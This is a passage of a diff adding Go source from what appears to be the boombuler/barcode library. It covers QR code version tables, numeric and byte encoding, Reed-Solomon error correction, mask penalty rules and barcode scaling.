13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
|
||||
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
|
||||
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
|
||||
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
|
||||
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
|
||||
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
|
||||
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
|
||||
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
|
||||
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
|
||||
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
|
||||
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
|
||||
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
|
||||
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
|
||||
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
|
||||
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
|
||||
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
|
||||
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
|
||||
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
|
||||
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
|
||||
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
|
||||
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
|
||||
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
|
||||
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
|
||||
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
|
||||
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
|
||||
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
|
||||
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
|
||||
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
|
||||
}
|
||||
|
||||
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
|
||||
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
|
||||
|
||||
if ok && len(versionInfoBits) > 0 {
|
||||
for i := 0; i < len(versionInfoBits); i++ {
|
||||
x := (vi.modulWidth() - 11) + i%3
|
||||
y := i / 3
|
||||
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
|
||||
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for bl.Len()%8 != 0 {
|
||||
bl.AddBit(false)
|
||||
}
|
||||
|
||||
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
|
||||
if i%2 == 0 {
|
||||
bl.AddByte(236)
|
||||
} else {
|
||||
bl.AddByte(17)
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type errorCorrection struct {
|
||||
rs *utils.ReedSolomonEncoder
|
||||
}
|
||||
|
||||
var ec = newErrorCorrection()
|
||||
|
||||
func newErrorCorrection() *errorCorrection {
|
||||
fld := utils.NewGaloisField(285, 256, 0)
|
||||
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
|
||||
}
|
||||
|
||||
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
|
||||
dataInts := make([]int, len(data))
|
||||
for i := 0; i < len(data); i++ {
|
||||
dataInts[i] = int(data[i])
|
||||
}
|
||||
res := ec.rs.Encode(dataInts, int(eccCount))
|
||||
result := make([]byte, len(res))
|
||||
for i := 0; i < len(res); i++ {
|
||||
result[i] = byte(res[i])
|
||||
}
|
||||
return result
|
||||
}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
contentBitCount := (len(content) / 3) * 10
|
||||
switch len(content) % 3 {
|
||||
case 1:
|
||||
contentBitCount += 4
|
||||
case 2:
|
||||
contentBitCount += 7
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(numericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(numericMode))
|
||||
|
||||
for pos := 0; pos < len(content); pos += 3 {
|
||||
var curStr string
|
||||
if pos+3 <= len(content) {
|
||||
curStr = content[pos : pos+3]
|
||||
} else {
|
||||
curStr = content[pos:]
|
||||
}
|
||||
|
||||
i, err := strconv.Atoi(curStr)
|
||||
if err != nil || i < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
|
||||
}
|
||||
var bitCnt byte
|
||||
switch len(curStr) % 3 {
|
||||
case 0:
|
||||
bitCnt = 10
|
||||
case 1:
|
||||
bitCnt = 4
|
||||
break
|
||||
case 2:
|
||||
bitCnt = 7
|
||||
break
|
||||
}
|
||||
|
||||
res.AddBits(i, bitCnt)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type qrcode struct {
|
||||
dimension int
|
||||
data *utils.BitList
|
||||
content string
|
||||
}
|
||||
|
||||
func (qr *qrcode) Content() string {
|
||||
return qr.content
|
||||
}
|
||||
|
||||
func (qr *qrcode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{barcode.TypeQR, 2}
|
||||
}
|
||||
|
||||
func (qr *qrcode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (qr *qrcode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, qr.dimension, qr.dimension)
|
||||
}
|
||||
|
||||
func (qr *qrcode) At(x, y int) color.Color {
|
||||
if qr.Get(x, y) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (qr *qrcode) Get(x, y int) bool {
|
||||
return qr.data.GetBit(x*qr.dimension + y)
|
||||
}
|
||||
|
||||
func (qr *qrcode) Set(x, y int, val bool) {
|
||||
qr.data.SetBit(x*qr.dimension+y, val)
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenalty() uint {
|
||||
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule1() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension; x++ {
|
||||
checkForX := false
|
||||
var cntX uint
|
||||
checkForY := false
|
||||
var cntY uint
|
||||
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
if qr.Get(x, y) == checkForX {
|
||||
cntX++
|
||||
} else {
|
||||
checkForX = !checkForX
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
cntX = 1
|
||||
}
|
||||
|
||||
if qr.Get(y, x) == checkForY {
|
||||
cntY++
|
||||
} else {
|
||||
checkForY = !checkForY
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
cntY = 1
|
||||
}
|
||||
}
|
||||
|
||||
if cntX >= 5 {
|
||||
result += cntX - 2
|
||||
}
|
||||
if cntY >= 5 {
|
||||
result += cntY - 2
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule2() uint {
|
||||
var result uint
|
||||
for x := 0; x < qr.dimension-1; x++ {
|
||||
for y := 0; y < qr.dimension-1; y++ {
|
||||
check := qr.Get(x, y)
|
||||
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
|
||||
result += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule3() uint {
|
||||
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
|
||||
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
|
||||
|
||||
var result uint
|
||||
for x := 0; x <= qr.dimension-len(pattern1); x++ {
|
||||
for y := 0; y < qr.dimension; y++ {
|
||||
pattern1XFound := true
|
||||
pattern2XFound := true
|
||||
pattern1YFound := true
|
||||
pattern2YFound := true
|
||||
|
||||
for i := 0; i < len(pattern1); i++ {
|
||||
iv := qr.Get(x+i, y)
|
||||
if iv != pattern1[i] {
|
||||
pattern1XFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2XFound = false
|
||||
}
|
||||
iv = qr.Get(y, x+i)
|
||||
if iv != pattern1[i] {
|
||||
pattern1YFound = false
|
||||
}
|
||||
if iv != pattern2[i] {
|
||||
pattern2YFound = false
|
||||
}
|
||||
}
|
||||
if pattern1XFound || pattern2XFound {
|
||||
result += 40
|
||||
}
|
||||
if pattern1YFound || pattern2YFound {
|
||||
result += 40
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (qr *qrcode) calcPenaltyRule4() uint {
|
||||
totalNum := qr.data.Len()
|
||||
trueCnt := 0
|
||||
for i := 0; i < totalNum; i++ {
|
||||
if qr.data.GetBit(i) {
|
||||
trueCnt++
|
||||
}
|
||||
}
|
||||
percDark := float64(trueCnt) * 100 / float64(totalNum)
|
||||
floor := math.Abs(math.Floor(percDark/5) - 10)
|
||||
ceil := math.Abs(math.Ceil(percDark/5) - 10)
|
||||
return uint(math.Min(floor, ceil) * 10)
|
||||
}
|
||||
|
||||
func newBarcode(dim int) *qrcode {
|
||||
res := new(qrcode)
|
||||
res.dimension = dim
|
||||
res.data = utils.NewBitList(dim * dim)
|
||||
return res
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
data := []byte(content)
|
||||
|
||||
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
|
||||
// required ECI header...
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(byteMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(byteMode))
|
||||
for _, b := range data {
|
||||
res.AddByte(b)
|
||||
}
|
||||
addPaddingAndTerminator(res, vi)
|
||||
return res, vi, nil
|
||||
}
|
||||
+310
@@ -0,0 +1,310 @@
|
||||
package qr
|
||||
|
||||
import "math"
|
||||
|
||||
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
|
||||
type ErrorCorrectionLevel byte
|
||||
|
||||
const (
|
||||
// L recovers 7% of data
|
||||
L ErrorCorrectionLevel = iota
|
||||
// M recovers 15% of data
|
||||
M
|
||||
// Q recovers 25% of data
|
||||
Q
|
||||
// H recovers 30% of data
|
||||
H
|
||||
)
|
||||
|
||||
func (ecl ErrorCorrectionLevel) String() string {
|
||||
switch ecl {
|
||||
case L:
|
||||
return "L"
|
||||
case M:
|
||||
return "M"
|
||||
case Q:
|
||||
return "Q"
|
||||
case H:
|
||||
return "H"
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
type encodingMode byte
|
||||
|
||||
const (
|
||||
numericMode encodingMode = 1
|
||||
alphaNumericMode encodingMode = 2
|
||||
byteMode encodingMode = 4
|
||||
kanjiMode encodingMode = 8
|
||||
)
|
||||
|
||||
type versionInfo struct {
|
||||
Version byte
|
||||
Level ErrorCorrectionLevel
|
||||
ErrorCorrectionCodewordsPerBlock byte
|
||||
NumberOfBlocksInGroup1 byte
|
||||
DataCodeWordsPerBlockInGroup1 byte
|
||||
NumberOfBlocksInGroup2 byte
|
||||
DataCodeWordsPerBlockInGroup2 byte
|
||||
}
|
||||
|
||||
var versionInfos = []*versionInfo{
|
||||
&versionInfo{1, L, 7, 1, 19, 0, 0},
|
||||
&versionInfo{1, M, 10, 1, 16, 0, 0},
|
||||
&versionInfo{1, Q, 13, 1, 13, 0, 0},
|
||||
&versionInfo{1, H, 17, 1, 9, 0, 0},
|
||||
&versionInfo{2, L, 10, 1, 34, 0, 0},
|
||||
&versionInfo{2, M, 16, 1, 28, 0, 0},
|
||||
&versionInfo{2, Q, 22, 1, 22, 0, 0},
|
||||
&versionInfo{2, H, 28, 1, 16, 0, 0},
|
||||
&versionInfo{3, L, 15, 1, 55, 0, 0},
|
||||
&versionInfo{3, M, 26, 1, 44, 0, 0},
|
||||
&versionInfo{3, Q, 18, 2, 17, 0, 0},
|
||||
&versionInfo{3, H, 22, 2, 13, 0, 0},
|
||||
&versionInfo{4, L, 20, 1, 80, 0, 0},
|
||||
&versionInfo{4, M, 18, 2, 32, 0, 0},
|
||||
&versionInfo{4, Q, 26, 2, 24, 0, 0},
|
||||
&versionInfo{4, H, 16, 4, 9, 0, 0},
|
||||
&versionInfo{5, L, 26, 1, 108, 0, 0},
|
||||
&versionInfo{5, M, 24, 2, 43, 0, 0},
|
||||
&versionInfo{5, Q, 18, 2, 15, 2, 16},
|
||||
&versionInfo{5, H, 22, 2, 11, 2, 12},
|
||||
&versionInfo{6, L, 18, 2, 68, 0, 0},
|
||||
&versionInfo{6, M, 16, 4, 27, 0, 0},
|
||||
&versionInfo{6, Q, 24, 4, 19, 0, 0},
|
||||
&versionInfo{6, H, 28, 4, 15, 0, 0},
|
||||
&versionInfo{7, L, 20, 2, 78, 0, 0},
|
||||
&versionInfo{7, M, 18, 4, 31, 0, 0},
|
||||
&versionInfo{7, Q, 18, 2, 14, 4, 15},
|
||||
&versionInfo{7, H, 26, 4, 13, 1, 14},
|
||||
&versionInfo{8, L, 24, 2, 97, 0, 0},
|
||||
&versionInfo{8, M, 22, 2, 38, 2, 39},
|
||||
&versionInfo{8, Q, 22, 4, 18, 2, 19},
|
||||
&versionInfo{8, H, 26, 4, 14, 2, 15},
|
||||
&versionInfo{9, L, 30, 2, 116, 0, 0},
|
||||
&versionInfo{9, M, 22, 3, 36, 2, 37},
|
||||
&versionInfo{9, Q, 20, 4, 16, 4, 17},
|
||||
&versionInfo{9, H, 24, 4, 12, 4, 13},
|
||||
&versionInfo{10, L, 18, 2, 68, 2, 69},
|
||||
&versionInfo{10, M, 26, 4, 43, 1, 44},
|
||||
&versionInfo{10, Q, 24, 6, 19, 2, 20},
|
||||
&versionInfo{10, H, 28, 6, 15, 2, 16},
|
||||
&versionInfo{11, L, 20, 4, 81, 0, 0},
|
||||
&versionInfo{11, M, 30, 1, 50, 4, 51},
|
||||
&versionInfo{11, Q, 28, 4, 22, 4, 23},
|
||||
&versionInfo{11, H, 24, 3, 12, 8, 13},
|
||||
&versionInfo{12, L, 24, 2, 92, 2, 93},
|
||||
&versionInfo{12, M, 22, 6, 36, 2, 37},
|
||||
&versionInfo{12, Q, 26, 4, 20, 6, 21},
|
||||
&versionInfo{12, H, 28, 7, 14, 4, 15},
|
||||
&versionInfo{13, L, 26, 4, 107, 0, 0},
|
||||
&versionInfo{13, M, 22, 8, 37, 1, 38},
|
||||
&versionInfo{13, Q, 24, 8, 20, 4, 21},
|
||||
&versionInfo{13, H, 22, 12, 11, 4, 12},
|
||||
&versionInfo{14, L, 30, 3, 115, 1, 116},
|
||||
&versionInfo{14, M, 24, 4, 40, 5, 41},
|
||||
&versionInfo{14, Q, 20, 11, 16, 5, 17},
|
||||
&versionInfo{14, H, 24, 11, 12, 5, 13},
|
||||
&versionInfo{15, L, 22, 5, 87, 1, 88},
|
||||
&versionInfo{15, M, 24, 5, 41, 5, 42},
|
||||
&versionInfo{15, Q, 30, 5, 24, 7, 25},
|
||||
&versionInfo{15, H, 24, 11, 12, 7, 13},
|
||||
&versionInfo{16, L, 24, 5, 98, 1, 99},
|
||||
&versionInfo{16, M, 28, 7, 45, 3, 46},
|
||||
&versionInfo{16, Q, 24, 15, 19, 2, 20},
|
||||
&versionInfo{16, H, 30, 3, 15, 13, 16},
|
||||
&versionInfo{17, L, 28, 1, 107, 5, 108},
|
||||
&versionInfo{17, M, 28, 10, 46, 1, 47},
|
||||
&versionInfo{17, Q, 28, 1, 22, 15, 23},
|
||||
&versionInfo{17, H, 28, 2, 14, 17, 15},
|
||||
&versionInfo{18, L, 30, 5, 120, 1, 121},
|
||||
&versionInfo{18, M, 26, 9, 43, 4, 44},
|
||||
&versionInfo{18, Q, 28, 17, 22, 1, 23},
|
||||
&versionInfo{18, H, 28, 2, 14, 19, 15},
|
||||
&versionInfo{19, L, 28, 3, 113, 4, 114},
|
||||
&versionInfo{19, M, 26, 3, 44, 11, 45},
|
||||
&versionInfo{19, Q, 26, 17, 21, 4, 22},
|
||||
&versionInfo{19, H, 26, 9, 13, 16, 14},
|
||||
&versionInfo{20, L, 28, 3, 107, 5, 108},
|
||||
&versionInfo{20, M, 26, 3, 41, 13, 42},
|
||||
&versionInfo{20, Q, 30, 15, 24, 5, 25},
|
||||
&versionInfo{20, H, 28, 15, 15, 10, 16},
|
||||
&versionInfo{21, L, 28, 4, 116, 4, 117},
|
||||
&versionInfo{21, M, 26, 17, 42, 0, 0},
|
||||
&versionInfo{21, Q, 28, 17, 22, 6, 23},
|
||||
&versionInfo{21, H, 30, 19, 16, 6, 17},
|
||||
&versionInfo{22, L, 28, 2, 111, 7, 112},
|
||||
&versionInfo{22, M, 28, 17, 46, 0, 0},
|
||||
&versionInfo{22, Q, 30, 7, 24, 16, 25},
|
||||
&versionInfo{22, H, 24, 34, 13, 0, 0},
|
||||
&versionInfo{23, L, 30, 4, 121, 5, 122},
|
||||
&versionInfo{23, M, 28, 4, 47, 14, 48},
|
||||
&versionInfo{23, Q, 30, 11, 24, 14, 25},
|
||||
&versionInfo{23, H, 30, 16, 15, 14, 16},
|
||||
&versionInfo{24, L, 30, 6, 117, 4, 118},
|
||||
&versionInfo{24, M, 28, 6, 45, 14, 46},
|
||||
&versionInfo{24, Q, 30, 11, 24, 16, 25},
|
||||
&versionInfo{24, H, 30, 30, 16, 2, 17},
|
||||
&versionInfo{25, L, 26, 8, 106, 4, 107},
|
||||
&versionInfo{25, M, 28, 8, 47, 13, 48},
|
||||
&versionInfo{25, Q, 30, 7, 24, 22, 25},
|
||||
&versionInfo{25, H, 30, 22, 15, 13, 16},
|
||||
&versionInfo{26, L, 28, 10, 114, 2, 115},
|
||||
&versionInfo{26, M, 28, 19, 46, 4, 47},
|
||||
&versionInfo{26, Q, 28, 28, 22, 6, 23},
|
||||
&versionInfo{26, H, 30, 33, 16, 4, 17},
|
||||
&versionInfo{27, L, 30, 8, 122, 4, 123},
|
||||
&versionInfo{27, M, 28, 22, 45, 3, 46},
|
||||
&versionInfo{27, Q, 30, 8, 23, 26, 24},
|
||||
&versionInfo{27, H, 30, 12, 15, 28, 16},
|
||||
&versionInfo{28, L, 30, 3, 117, 10, 118},
|
||||
&versionInfo{28, M, 28, 3, 45, 23, 46},
|
||||
&versionInfo{28, Q, 30, 4, 24, 31, 25},
|
||||
&versionInfo{28, H, 30, 11, 15, 31, 16},
|
||||
&versionInfo{29, L, 30, 7, 116, 7, 117},
|
||||
&versionInfo{29, M, 28, 21, 45, 7, 46},
|
||||
&versionInfo{29, Q, 30, 1, 23, 37, 24},
|
||||
&versionInfo{29, H, 30, 19, 15, 26, 16},
|
||||
&versionInfo{30, L, 30, 5, 115, 10, 116},
|
||||
&versionInfo{30, M, 28, 19, 47, 10, 48},
|
||||
&versionInfo{30, Q, 30, 15, 24, 25, 25},
|
||||
&versionInfo{30, H, 30, 23, 15, 25, 16},
|
||||
&versionInfo{31, L, 30, 13, 115, 3, 116},
|
||||
&versionInfo{31, M, 28, 2, 46, 29, 47},
|
||||
&versionInfo{31, Q, 30, 42, 24, 1, 25},
|
||||
&versionInfo{31, H, 30, 23, 15, 28, 16},
|
||||
&versionInfo{32, L, 30, 17, 115, 0, 0},
|
||||
&versionInfo{32, M, 28, 10, 46, 23, 47},
|
||||
&versionInfo{32, Q, 30, 10, 24, 35, 25},
|
||||
&versionInfo{32, H, 30, 19, 15, 35, 16},
|
||||
&versionInfo{33, L, 30, 17, 115, 1, 116},
|
||||
&versionInfo{33, M, 28, 14, 46, 21, 47},
|
||||
&versionInfo{33, Q, 30, 29, 24, 19, 25},
|
||||
&versionInfo{33, H, 30, 11, 15, 46, 16},
|
||||
&versionInfo{34, L, 30, 13, 115, 6, 116},
|
||||
&versionInfo{34, M, 28, 14, 46, 23, 47},
|
||||
&versionInfo{34, Q, 30, 44, 24, 7, 25},
|
||||
&versionInfo{34, H, 30, 59, 16, 1, 17},
|
||||
&versionInfo{35, L, 30, 12, 121, 7, 122},
|
||||
&versionInfo{35, M, 28, 12, 47, 26, 48},
|
||||
&versionInfo{35, Q, 30, 39, 24, 14, 25},
|
||||
&versionInfo{35, H, 30, 22, 15, 41, 16},
|
||||
&versionInfo{36, L, 30, 6, 121, 14, 122},
|
||||
&versionInfo{36, M, 28, 6, 47, 34, 48},
|
||||
&versionInfo{36, Q, 30, 46, 24, 10, 25},
|
||||
&versionInfo{36, H, 30, 2, 15, 64, 16},
|
||||
&versionInfo{37, L, 30, 17, 122, 4, 123},
|
||||
&versionInfo{37, M, 28, 29, 46, 14, 47},
|
||||
&versionInfo{37, Q, 30, 49, 24, 10, 25},
|
||||
&versionInfo{37, H, 30, 24, 15, 46, 16},
|
||||
&versionInfo{38, L, 30, 4, 122, 18, 123},
|
||||
&versionInfo{38, M, 28, 13, 46, 32, 47},
|
||||
&versionInfo{38, Q, 30, 48, 24, 14, 25},
|
||||
&versionInfo{38, H, 30, 42, 15, 32, 16},
|
||||
&versionInfo{39, L, 30, 20, 117, 4, 118},
|
||||
&versionInfo{39, M, 28, 40, 47, 7, 48},
|
||||
&versionInfo{39, Q, 30, 43, 24, 22, 25},
|
||||
&versionInfo{39, H, 30, 10, 15, 67, 16},
|
||||
&versionInfo{40, L, 30, 19, 118, 6, 119},
|
||||
&versionInfo{40, M, 28, 18, 47, 31, 48},
|
||||
&versionInfo{40, Q, 30, 34, 24, 34, 25},
|
||||
&versionInfo{40, H, 30, 20, 15, 61, 16},
|
||||
}
|
||||
|
||||
func (vi *versionInfo) totalDataBytes() int {
|
||||
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
return (g1Data + g2Data)
|
||||
}
|
||||
|
||||
func (vi *versionInfo) charCountBits(m encodingMode) byte {
|
||||
switch m {
|
||||
case numericMode:
|
||||
if vi.Version < 10 {
|
||||
return 10
|
||||
} else if vi.Version < 27 {
|
||||
return 12
|
||||
}
|
||||
return 14
|
||||
|
||||
case alphaNumericMode:
|
||||
if vi.Version < 10 {
|
||||
return 9
|
||||
} else if vi.Version < 27 {
|
||||
return 11
|
||||
}
|
||||
return 13
|
||||
|
||||
case byteMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
}
|
||||
return 16
|
||||
|
||||
case kanjiMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
} else if vi.Version < 27 {
|
||||
return 10
|
||||
}
|
||||
return 12
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func (vi *versionInfo) modulWidth() int {
|
||||
return ((int(vi.Version) - 1) * 4) + 21
|
||||
}
|
||||
|
||||
func (vi *versionInfo) alignmentPatternPlacements() []int {
|
||||
if vi.Version == 1 {
|
||||
return make([]int, 0)
|
||||
}
|
||||
|
||||
first := 6
|
||||
last := vi.modulWidth() - 7
|
||||
space := float64(last - first)
|
||||
count := int(math.Ceil(space/28)) + 1
|
||||
|
||||
result := make([]int, count)
|
||||
result[0] = first
|
||||
result[len(result)-1] = last
|
||||
if count > 2 {
|
||||
step := int(math.Ceil(float64(last-first) / float64(count-1)))
|
||||
if step%2 == 1 {
|
||||
frac := float64(last-first) / float64(count-1)
|
||||
_, x := math.Modf(frac)
|
||||
if x >= 0.5 {
|
||||
frac = math.Ceil(frac)
|
||||
} else {
|
||||
frac = math.Floor(frac)
|
||||
}
|
||||
|
||||
if int(frac)%2 == 0 {
|
||||
step--
|
||||
} else {
|
||||
step++
|
||||
}
|
||||
}
|
||||
|
||||
for i := 1; i <= count-2; i++ {
|
||||
result[i] = last - (step * (count - 1 - i))
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
|
||||
dataBits = dataBits + 4 // mode indicator
|
||||
for _, vi := range versionInfos {
|
||||
if vi.Level == ecl {
|
||||
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
|
||||
return vi
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package barcode
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
)
|
||||
|
||||
type wrapFunc func(x, y int) color.Color
|
||||
|
||||
type scaledBarcode struct {
|
||||
wrapped Barcode
|
||||
wrapperFunc wrapFunc
|
||||
rect image.Rectangle
|
||||
}
|
||||
|
||||
type intCSscaledBC struct {
|
||||
scaledBarcode
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Content() string {
|
||||
return bc.wrapped.Content()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Metadata() Metadata {
|
||||
return bc.wrapped.Metadata()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) ColorModel() color.Model {
|
||||
return bc.wrapped.ColorModel()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Bounds() image.Rectangle {
|
||||
return bc.rect
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) At(x, y int) color.Color {
|
||||
return bc.wrapperFunc(x, y)
|
||||
}
|
||||
|
||||
func (bc *intCSscaledBC) CheckSum() int {
|
||||
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
|
||||
return cs.CheckSum()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Scale returns a resized barcode with the given width and height.
|
||||
func Scale(bc Barcode, width, height int) (Barcode, error) {
|
||||
switch bc.Metadata().Dimensions {
|
||||
case 1:
|
||||
return scale1DCode(bc, width, height)
|
||||
case 2:
|
||||
return scale2DCode(bc, width, height)
|
||||
}
|
||||
|
||||
return nil, errors.New("unsupported barcode format")
|
||||
}
|
||||
|
||||
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
|
||||
result := &scaledBarcode{
|
||||
wrapped: wrapped,
|
||||
wrapperFunc: wrapperFunc,
|
||||
rect: rect,
|
||||
}
|
||||
|
||||
if _, ok := wrapped.(BarcodeIntCS); ok {
|
||||
return &intCSscaledBC{*result}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
|
||||
|
||||
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
|
||||
}
|
||||
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
offsetY := (height - (orgHeight * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX || y < offsetY {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
y = (y - offsetY) / factor
|
||||
if x >= orgWidth || y >= orgHeight {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, y)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
|
||||
